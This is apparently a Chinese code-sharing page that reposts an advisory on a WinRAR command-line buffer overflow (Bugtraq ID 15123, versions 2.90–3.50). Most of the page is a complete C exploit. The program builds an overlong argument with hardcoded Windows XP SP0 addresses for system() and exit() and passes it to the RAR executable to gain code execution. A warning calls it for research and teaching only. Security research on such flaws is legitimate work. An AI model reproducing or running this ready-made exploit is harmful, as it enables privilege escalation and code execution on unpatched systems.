rar.txt

来自「RAR本地提升权限漏洞利用工具,WinRar对命令行的处理存在溢出漏洞」· 文本 代码 · 共 70 行

TXT
70
字号
RAR本地提升权限漏洞利用工具

RARLAB WinRAR命令行处理溢出漏洞


受影响系统:
RARLAB WinRar 3.50
RARLAB WinRar 3.42
RARLAB WinRar 3.41
RARLAB WinRar 3.40
RARLAB WinRar 3.20
RARLAB WinRar 3.11
RARLAB WinRar 3.10 beta 5
RARLAB WinRar 3.10 beta 3
RARLAB WinRar 3.10
RARLAB WinRar 3.0.0
RARLAB WinRar 3.0
RARLAB WinRar 2.90
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 15123

WinRar是非常流行的压缩/解压工具。

WinRar对命令行的处理存在溢出漏洞,攻击者可能利用这个漏洞远程执行任意代码。

由于在将用户提供的字符串拷贝到静态进程缓冲区之前没有正确的验证其长度,RARLAB WinRAR在处理命令行时存在远程客户端溢出漏洞。


测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#include <stdio.h>
#include <string.h>
#include <windows.h>

int main ( int argc, char *argv[] )
{
   long sys_addr  = 0x77C18044; // winxp sp0 targets...
   long exit_addr = 0x77C27ADC;
   long cmd_addr  = 0x77C01335;

   char buf[3000];
   char cmd[3000];
   
   if ( argc < 2 )
   {
   printf("\n * 0xLeTzDanCe - WinRAR <= 3.50 local exploit ENG version  *\n * * \
usage: 0xletzdance.exe <path_to_RAR>\n\n");  exit(0);
   }

   memset(buf, 0x00, 3000);
   memset(cmd, 0x00, 3000);

   memset(buf, 0x55, 516);

   *(long*)&buf[strlen(buf)]  = sys_addr;
   *(long *)&buf[strlen(buf)] = exit_addr;
   *(long *)&buf[strlen(buf)] = cmd_addr;

   sprintf(cmd, "%s %s", argv[1], buf);
   system(cmd);

}

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?